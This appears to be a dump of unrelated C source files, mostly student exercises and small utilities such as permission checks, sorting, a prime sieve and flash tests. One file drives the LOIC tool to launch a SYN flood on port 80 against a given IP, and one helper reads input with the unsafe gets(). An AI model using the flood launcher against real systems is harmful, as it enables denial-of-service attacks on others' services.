read(fd2,buff,1000); char buff2[1001]; for(k=0;k<1000;k++){ buff2[k]=buff1[999-k]; if(buff2[k]>=65&&buff2[k]<=90){ buff2[k]=buff2[k]+32; } else if(buff2[k]>=97&&buff2[k]<=122){ buff2[k]=buff2[k]-32; } } buff2[1000]='\0'; for(int m=0;m<1000;m++){ if(buff[m]!=buff2[m]){ write(STDOUT_FILENO,"NO",2); } } } } write(STDOUT_FILENO,"YES",3); } write(STDOUT_FILENO,"\n",1); write(STDOUT_FILENO,"\n",1); if(lstat(str,&a)==0){ if(S_IRUSR&a.st_mode){ write(STDOUT_FILENO,"User has read permission on file:YES",37); } else{ write(STDOUT_FILENO,"User has read permission on file:NO",36); } write(STDOUT_FILENO,"\n",1); if(S_IWUSR&a.st_mode){ write(STDOUT_FILENO,"User has write permission on file:YES",38); } else{ write(STDOUT_FILENO,"User has write permission on file:NO",37); } write(STDOUT_FILENO,"\n",1); if(S_IXUSR&a.st_mode){ write(STDOUT_FILENO,"User has execute permission on file:YES",40); } else{ write(STDOUT_FILENO,"User has execute permission on file:NO",39); } write(STDOUT_FILENO,"\n",1); if(S_IRGRP&a.st_mode){ write(STDOUT_FILENO,"Group has read permission on file:YES",38); } else{ write(STDOUT_FILENO,"Group has read permission on file:NO",37); } write(STDOUT_FILENO,"\n",1); if(S_IWGRP&a.st_mode){ write(STDOUT_FILENO,"Group has write permission on file:YES",39); } else{ write(STDOUT_FILENO,"Group has write permission on file:NO",38); } write(STDOUT_FILENO,"\n",1); if(S_IXGRP&a.st_mode){ write(STDOUT_FILENO,"Group has execute permission on file:YES",41); } else{ write(STDOUT_FILENO,"Group has execute permission on file:NO",40); } write(STDOUT_FILENO,"\n",1); if(S_IROTH&a.st_mode){ write(STDOUT_FILENO,"Owner has read permission on file:YES",38); } else{ write(STDOUT_FILENO,"Owner has read permission on file:NO",37); } write(STDOUT_FILENO,"\n",1); if(S_IWOTH&a.st_mode){ write(STDOUT_FILENO,"Owner has write permission on file:YES",39); } else{ write(STDOUT_FILENO,"Owner has write permission on file:NO",38); } write(STDOUT_FILENO,"\n",1); if(S_IXOTH&a.st_mode){ write(STDOUT_FILENO,"Owner has execute permission on file:YES",41); } else{ write(STDOUT_FILENO,"Owner has execute permission on file:NO",40); } write(STDOUT_FILENO,"\n",1); } write(STDOUT_FILENO,"\n",1); if(stat("./Assignment/Output.txt",&a)==0){ if(S_IRUSR&a.st_mode){ write(STDOUT_FILENO,"User has read permission on file:YES",37); } else{ write(STDOUT_FILENO,"User has read permission on file:NO",36); } write(STDOUT_FILENO,"\n",1); if(S_IWUSR&a.st_mode){ write(STDOUT_FILENO,"User has write permission on file:YES",38); } else{ write(STDOUT_FILENO,"User has write permission on file:NO",37); } write(STDOUT_FILENO,"\n",1); if(S_IXUSR&a.st_mode){ write(STDOUT_FILENO,"User has execute permission on file:YES",40); } else{ write(STDOUT_FILENO,"User has execute permission on file:NO",39); } write(STDOUT_FILENO,"\n",1); if(S_IRGRP&a.st_mode){ write(STDOUT_FILENO,"Group has read permission on file:YES",38); } else{ write(STDOUT_FILENO,"Group has read permission on file:NO",37); } write(STDOUT_FILENO,"\n",1); if(S_IWGRP&a.st_mode){ write(STDOUT_FILENO,"Group has write permission on file:YES",39); } else{ write(STDOUT_FILENO,"Group has write permission on file:NO",38); } write(STDOUT_FILENO,"\n",1); if(S_IXGRP&a.st_mode){ write(STDOUT_FILENO,"Group has execute permission on file:YES",41); } else{ write(STDOUT_FILENO,"Group has execute permission on file:NO",40); } write(STDOUT_FILENO,"\n",1); if(S_IROTH&a.st_mode){ write(STDOUT_FILENO,"Owner has read permission on file:YES",38); } else{ write(STDOUT_FILENO,"Owner has read permission on file:NO",37); } write(STDOUT_FILENO,"\n",1); if(S_IWOTH&a.st_mode){ write(STDOUT_FILENO,"Owner has write permission on file:YES",39); } else{ write(STDOUT_FILENO,"Owner has write permission on file:NO",38); } write(STDOUT_FILENO,"\n",1); if(S_IXOTH&a.st_mode){ write(STDOUT_FILENO,"Owner has execute permission on file:YES",41); } else{ write(STDOUT_FILENO,"Owner has execute permission on file:NO",40); } write(STDOUT_FILENO,"\n",1); } write(STDOUT_FILENO,"\n",1); if(stat("./Assignment",&a)==0){ if(S_IRUSR&a.st_mode){ write(STDOUT_FILENO,"User has read permission on file:YES",37); } else{ write(STDOUT_FILENO,"User has read permission on file:NO",36); } write(STDOUT_FILENO,"\n",1); if(S_IWUSR&a.st_mode){ write(STDOUT_FILENO,"User has write permission on file:YES",38); } else{ write(STDOUT_FILENO,"User has write permission on file:NO",37); } write(STDOUT_FILENO,"\n",1); if(S_IXUSR&a.st_mode){ write(STDOUT_FILENO,"User has execute permission on file:YES",40); } else{ write(STDOUT_FILENO,"User has execute permission on file:NO",39); } write(STDOUT_FILENO,"\n",1); if(S_IRGRP&a.st_mode){ write(STDOUT_FILENO,"Group has read permission on file:YES",38); } else{ write(STDOUT_FILENO,"Group has read permission on file:NO",37); } write(STDOUT_FILENO,"\n",1); if(S_IWGRP&a.st_mode){ write(STDOUT_FILENO,"Group has write permission on file:YES",39); } else{ write(STDOUT_FILENO,"Group has write permission on file:NO",38); } write(STDOUT_FILENO,"\n",1); if(S_IXGRP&a.st_mode){ write(STDOUT_FILENO,"Group has execute permission on file:YES",41); } else{ write(STDOUT_FILENO,"Group has execute permission on file:NO",40); } write(STDOUT_FILENO,"\n",1); if(S_IROTH&a.st_mode){ write(STDOUT_FILENO,"Owner has read permission on file:YES",38); } else{ write(STDOUT_FILENO,"Owner has read permission on file:NO",37); } write(STDOUT_FILENO,"\n",1); if(S_IWOTH&a.st_mode){ write(STDOUT_FILENO,"Owner has write permission on file:YES",39); } else{ write(STDOUT_FILENO,"Owner has write permission on file:NO",38); } write(STDOUT_FILENO,"\n",1); if(S_IXOTH&a.st_mode){ write(STDOUT_FILENO,"Owner has execute permission on file:YES",41); } else{ write(STDOUT_FILENO,"Owner has execute permission on file:NO",40); } write(STDOUT_FILENO,"\n",1); } write(STDOUT_FILENO,"\n",1); return 0; }
C
// // CFDictionaryAddition.c // iOSConsole // // Created by Sam Marshall on 1/4/14. // Copyright (c) 2014 Sam Marshall. All rights reserved. // #ifndef iOSConsole_CFDictionaryAddition_c #define iOSConsole_CFDictionaryAddition_c #include "CFDictionaryAddition.h" #include "Pointer.h" #include "Logging.h" #include "Number.h" #include <objc/NSObjCRuntime.h> void PrintCFDictionaryInternalFormatting(CFDictionaryRef dictionary, uint32_t depth) { CFIndex keyCount = CFDictionaryGetCount(dictionary); Pointer keys[keyCount]; Pointer values[keyCount]; CFDictionaryGetKeysAndValues(dictionary, PtrCast(keys,const void**), PtrCast(values,const void**)); for (uint32_t i = 0x0; i < keyCount; i++) { CFStringRef key = PtrCast(keys[i],CFStringRef); CFTypeRef value = PtrCast(values[i],CFTypeRef); PrintDepth(depth,"%s: ",(char*)CFStringGetCStringPtr(key,kCFStringEncodingUTF8)); CFStringRef valueType = CFCopyTypeIDDescription(CFGetTypeID(value)); if (CFStringCompare(valueType, CFCopyTypeIDDescription(CFDictionaryGetTypeID()), 0x0) == kCFCompareEqualTo) { printf("\n"); PrintCFDictionaryInternalFormatting(value, depth+0x1); printf("\n"); } if (CFStringCompare(valueType, CFCopyTypeIDDescription(CFBooleanGetTypeID()), 0x0) == kCFCompareEqualTo) { printf("%s\n",(CFBooleanGetValue(value) ? "True" : "False")); } if (CFStringCompare(valueType, CFCopyTypeIDDescription(CFStringGetTypeID()), 0x0) == kCFCompareEqualTo) { printf("%s\n",(char*)CFStringGetCStringPtr(value,kCFStringEncodingUTF8)); } if (CFStringCompare(valueType, CFCopyTypeIDDescription(CFNumberGetTypeID()), 0x0) == kCFCompareEqualTo) { CFIndex numberType = CFNumberGetType(value); switch (numberType) { case kCFNumberSInt8Type: { SInt8 number; CFNumberGetValue(value, numberType, &number); printf("%hhd\n",number); break; }; case kCFNumberSInt16Type: { SInt16 number; CFNumberGetValue(value, numberType, &number); printf("%hd\n",number); break; }; case kCFNumberSInt32Type: { SInt32 number; CFNumberGetValue(value, numberType, &number); printf("%dz\n",number); break; }; case kCFNumberSInt64Type: { SInt64 number; CFNumberGetValue(value, numberType, &number); printf("%lldz\n",number); break; }; case kCFNumberFloat32Type: { Float32 number; CFNumberGetValue(value, numberType, &number); printf("%.f\n",number); break; }; case kCFNumberFloat64Type: { Float64 number; CFNumberGetValue(value, numberType, &number); printf("%.f\n",number); break; }; case kCFNumberCharType: { char number; CFNumberGetValue(value, numberType, &number); printf("%c\n",number); break; }; case kCFNumberShortType: { short number; CFNumberGetValue(value, numberType, &number); printf("%hd\n",number); break; }; case kCFNumberIntType: { int number; CFNumberGetValue(value, numberType, &number); printf("%dz\n",number); break; }; case kCFNumberLongType: { long number; CFNumberGetValue(value, numberType, &number); printf("%ldz\n",number); break; }; case kCFNumberLongLongType: { long long number; CFNumberGetValue(value, numberType, &number); printf("%qdz\n",number); break; }; case kCFNumberFloatType: { float number; CFNumberGetValue(value, numberType, &number); printf("%.f\n",number); break; }; case kCFNumberDoubleType: { double number; CFNumberGetValue(value, numberType, &number); printf("%.f\n",number); break; }; case kCFNumberCFIndexType: { CFIndex number; CFNumberGetValue(value, numberType, &number); printf("%ldz\n",number); break; }; case kCFNumberNSIntegerType: { NSInteger number; CFNumberGetValue(value, numberType, &number); printf("%ldz\n",number); break; }; case kCFNumberCGFloatType: { CGFloat number; CFNumberGetValue(value, numberType, &number); printf("%.f\n",number); break; }; default: { break; }; } } } } void PrintCFDictionary(CFDictionaryRef dictionary) { PrintCFDictionaryInternalFormatting(dictionary, 0x0); } #endif
C
/* * @ file : time.h * brief : */ #include <time.h> // Is this year Leap year ? #define isLeapYear(x) (\ (\ ( (x) % 4 == 0 ) && \ ( (x) % 100 != 0 ) \ )|| \ ( (x) % 400 == 0 ) \ ) typedef struct time_zone{ time_t t; struct tm *tm; struct tm *pre_tm; // current time u_short year, mon, mday; u_short wday; u_short hour, min, sec; // 1hour ago u_short pre_year, pre_mon, pre_mday; u_short pre_hour; }TIME_ZONE; /* */ TIME_ZONE tz; /* */ void get_localtime(void); void get_localtime(void){ time(&tz.t); tz.tm = localtime(&tz.t); tz.year = tz.tm->tm_year + 1900; // 2008, 2009.... tz.mon = tz.tm->tm_mon; //[0, 11] tz.mday = tz.tm->tm_mday; //[1,31] tz.wday = tz.tm->tm_wday; //[0,6] tz.hour = tz.tm->tm_hour; //[0,23] tz.min = tz.tm->tm_min; //[0,59] tz.sec = tz.tm->tm_sec; //[0,59] tz.t -= 60*60; tz.tm = localtime(&tz.t); tz.pre_year = tz.tm->tm_year + 1900; // 2008, 2009.... tz.pre_mon = tz.tm->tm_mon; //[0, 11] tz.pre_mday = tz.tm->tm_mday; //[1,31] tz.pre_hour = tz.tm->tm_hour; //[0,23] //another source /* if(tz.hour ==0 ){ tz.pre_hour = 23; if(tz.mday == 1){ if(tz.mon == 0){ tz.pre_year = tz.year -1; tz.pre_mon = 11; tz.pre_mday = 31; } else if(tz.mon == 2){ tz.pre_year = tz.year; tz.pre_mon = 1; if(isLeapYear(tz.year)){ tz.pre_mday = 29; }else{ tz.pre_mday = 28; } } else{ tz.pre_year = tz.year; tz.pre_mon = tz.mon; tz.pre_mday = tz.mday; } } else{ tz.pre_mday = tz.mday -1; } } else{ tz.pre_year = tz.year; tz.pre_mon = tz.mon; tz.pre_mday = tz.mday; tz.pre_hour = tz.hour - 1; } */ }
C
#include <stdio.h> #include <string.h> #include <ctype.h> #include "exerciceiv.h" void init_string(str string) { char c; int i = 0; while (c = getchar(), c != '\n' && c != EOF && i < DIM - 1) { *string++ = c; i++; } *string = '\0'; } int contains(str string, str sub) { while (*sub && *string) if (*sub != *string) return (0); else { string++; sub++; } return (!(*sub)); } int findmatch(char *pattern, char *text) { int i, j, pLength, tLength; pLength = strlen(pattern); tLength = strlen(text); for (i = 0; i <= (tLength - pLength); i++) { j = 0; while ((j < pLength) && (text[i + j]) == pattern[j]) { j++; } if (j == pLength) return (i); } return (-1); } void search(str string, str sub) { int pos = 0; while (*string) { if (contains(string, sub)) { printf("Found at position %d\n", pos); } string++; pos++; } } char * find_substring(str string, str sub) { if (toupper(getchar()) == 'Y') { scanf("%s", sub); } return strstr(string, sub); } char * delete_substring(str string, str sub) { // provide implementation return string; }
C
#define _CRT_SECURE_NO_WARNINGS #include<stdio.h> #include"MailList.h" struct MailList g_allMSG[1000]; int g_count; int menu() { int tmp, ret; printf("1.ϵϢ\n" "2.ɾָϵϢ\n" "3.ָϵϢ\n" "4.޸ָϵϢ\n" "5.ʾϵϢ\n" "6.ϵϢ\n" "ѡ: "); ret = scanf("%d", &tmp); return ret ? tmp : -1; } void MailList() { int op; while (1) { op = menu(); switch (op) { case ADD_MSG: inputData(); break; case DELETE_MSG: break; case SEARCH_MSG: break; case CHANGE_MSG: break; case DISPLAY_MSG: outputData(); break; case EMPTY_MSG: break; case -1: printf(",\n"); break; default: printf(",\n"); } } } int main() { MailList(); return 0; }
C
#include "bootcamp.h" /** * print_square - prints size x size square * @size: dimensions of square * * Return: void */ void print_square(int size) { int i, size2; if (size < 1) _putchar('\n'); for (size2 = size; size2 > 0; size2--) { for (i = size; i > 0; i--) { _putchar('#'); } _putchar('\n'); } }
C
#include "attack_process.h" #include "io.h" void set_base_valor(char** arg_list, char* loic_path, char* ip){ arg_list[0] = loic_path; arg_list[1] = ip; arg_list[2] = "--syn"; arg_list[3] = "-p"; arg_list[4] = "80"; arg_list[5] = NULL; arg_list[6] = NULL; } void set_baseline( char** arg_list, const char* loic_path, const unsigned int time_to_live ){ print_set_baseline(); call_attack(loic_path, arg_list, time_to_live); } void attack(char** arg_list, const char* loic_path, const unsigned int time_to_live ){ print_attack(); arg_list[5] = "--fast"; call_attack(loic_path, arg_list, time_to_live); } int main(int argc, char *argv[]){ char* loic_path = get_loic_path(); printf("%s\n", loic_path); char** arg_list = alloc_arg_list(); char* ip = get_ip(argc, argv); set_base_valor(arg_list, loic_path, ip); set_baseline(arg_list, loic_path, 450); attack(arg_list, loic_path, 320); return 0; }
C
/* Author: lmborba */ #include <stdio.h> #include <stdlib.h> int pancakes[31]; int pancakes2[31]; int n; void preenche(char * a) { int i; n = 0; i = 0; while (a[i] != '\n') { if ((a[i] >= 48) && (a[i]<=57)) { pancakes[n] = a[i] - 48; i++; while ((a[i] >= 48) && (a[i]<=57)) { pancakes[n] = (pancakes[n]*10) + (a[i]-48); i++; }; n++; } else { i++; }; }; }; void swap1(int a, int b) { int aux; aux = pancakes[a]; pancakes[a] = pancakes[b]; pancakes[b] = aux; }; void inverte (int a) { int i,j; for (i=0,j=a;i<j;i++,j--) { swap1(i,j); }; }; void calcula() { int i; int j; int t; for (i=0;i<(n-1);i++) { if (pancakes[0] == pancakes2[i]) { inverte(n-1-i); printf("%d ",i+1); } else { j = 1; t = -1; while ((j<(n-1-i))) { if (pancakes[j] == pancakes2[i]) { t = j; break; }; j++; }; if (t != -1) { inverte(t); inverte(n-1-i); printf("%d ",n-t); printf("%d ",i+1); }; }; }; }; void swap(int a, int b) { int aux; aux = pancakes2[a]; pancakes2[a] = pancakes2[b]; pancakes2[b] = aux; }; int heapify(int g, int a, int b) { int d1,d2; if (a > b) { return 0; }; d1 = heapify(g,a*2,b); d2 = heapify(g,a*2+1,b); if (d1 > d2) { if (pancakes2[g+a-1] < d1) { swap(g+a-1,g+a*2-1); }; } else { if (pancakes2[g+a-1] < d2) { swap(g+a-1,g+a*2); }; }; return pancakes2[g+a-1]; }; void heapsort(){ int i; for (i=0;i<n;i++) { heapify(i,1,n-i); }; }; int main() { char * a; int i; a = (char *) malloc(sizeof(char)*100); a = fgets(a,100,stdin); while (a) { preenche(a); for (i=0;i<n;i++) { if (i>0) { printf(" "); }; printf("%d",pancakes[i]); pancakes2[i] = pancakes[i]; }; printf("\n"); heapsort(); calcula(); printf("0\n"); a = fgets(a,100,stdin); }; return 0; };
C
void printdec(int val) { int temp, thresh, zeroflag; zeroflag = 0; thresh = 1000000000; if (val < 0) { val = -val; putchar('-'); } while (thresh > 1) { if (val >= thresh) { temp = val / thresh; putchar('0' + temp); val = val - temp * thresh; zeroflag = 1; } else if (zeroflag) putchar('0'); thresh = thresh / 10; } putchar('0' + val); } void printf(char *fmt, int parm) { while (*fmt) { if (*fmt == '%') { printdec(parm); fmt += 2; } else putchar(*fmt++); } } void scanf(char *ftm, int *ptr) { char buffer[100]; gets(buffer); *ptr = atoi(buffer); } int prime(int maxnum) { int i, j, numprimes, maxprimes; int count, prime, isprime; short primes[10000]; primes[0] = 1; primes[1] = 2; printf("%d ", 1); printf("%d ", 2); numprimes = 2; count = 2; maxprimes = 10000; for (i = 3; i < maxnum; i += 2) { isprime = 1; for (j = 2; j < numprimes; j++) { prime = primes[j]; if (prime * prime > i) j = numprimes; else if (i / prime * prime == i) { j = numprimes; isprime = 0; } } if (isprime) { printf("%d ", i); if (++count >= 10) { count = 0; printf("\n"); } primes[numprimes++] = i; if (numprimes >= maxprimes) i = maxnum; } } if (count) printf("\n"); return 0; } void main(void) { int max_number; puts("Trace 1"); while (1) { printf("Enter the max number: "); scanf("%d", &max_number); if (max_number <= 0) break; if (max_number < 2) continue; prime(max_number); } }
C
#include<stdio.h> void array(int a[5]); void array(int x[5]) { for(int i=0; i<5; i++) { printf("%d",x[i]); } } int main() { int a[5]={1,2,3,4,5}; array(a); return 0; }
C
#define NULL ((void*)0) typedef unsigned long size_t; // Customize by platform. typedef long intptr_t; typedef unsigned long uintptr_t; typedef long scalar_t__; // Either arithmetic or pointer type. /* By default, we understand bool (as a convenience). */ typedef int bool; #define false 0 #define true 1 /* Forward declarations */ typedef struct TYPE_5__ TYPE_1__ ; /* Type definitions */ struct TYPE_5__ {int end; int capacity; int /*<<< orphan*/ * data; } ; typedef int /*<<< orphan*/ RingEntry ; typedef TYPE_1__ Ring ; /* Variables and functions */ int /*<<< orphan*/ memcpy (int /*<<< orphan*/ *,int /*<<< orphan*/ *,int) ; scalar_t__ ring_full (TYPE_1__*) ; int /*<<< orphan*/ ring_grow (TYPE_1__*) ; void ring_put(Ring *ring, RingEntry *entry) { if (ring_full(ring)) { ring_grow(ring); } RingEntry *e = ring->data + ring->end; memcpy(e, entry, sizeof(RingEntry)); ring->end = (ring->end + 1) % ring->capacity; }
C
#include "main.h" unsigned char data[528]; int init(void) { // let the power stabilize delay_ms(250); spi_init(); flash_init(); DDRD = 0xFF; PORTD = 0xFF; return 0; } int main(void) { int i, flag; unsigned char c; init(); // writing all possible combo's to data[] c = 0x00; for( i = 0 ; i < 528 ; i++) { data[i] = c; c++; } // write data to flash page flash_page_write(0); // nullify the data[] for( i = 0 ; i < 528 ; i++) { data[i] = 0x00; } // wait ... delay_ms(250); // read data from flash page flash_page_read(0); /* PORTD = 0x02; while(1); */ // compare for correctness flag = 0; c = 0x00; for( i = 0 ; i < 528 ; i++) { if(data[i] != c) { flag = 1; } c++; } /* for( i = 0 ; i < 528 ; i++) { PORTD = data[i]; delay_ms(250); delay_ms(250); } */ // errors if(flag == 1) { PORTD = 0xA5; while(1); } // sucess while(1) { delay_ms(250); PORTD = ~PORTD; } while(1); return 0; }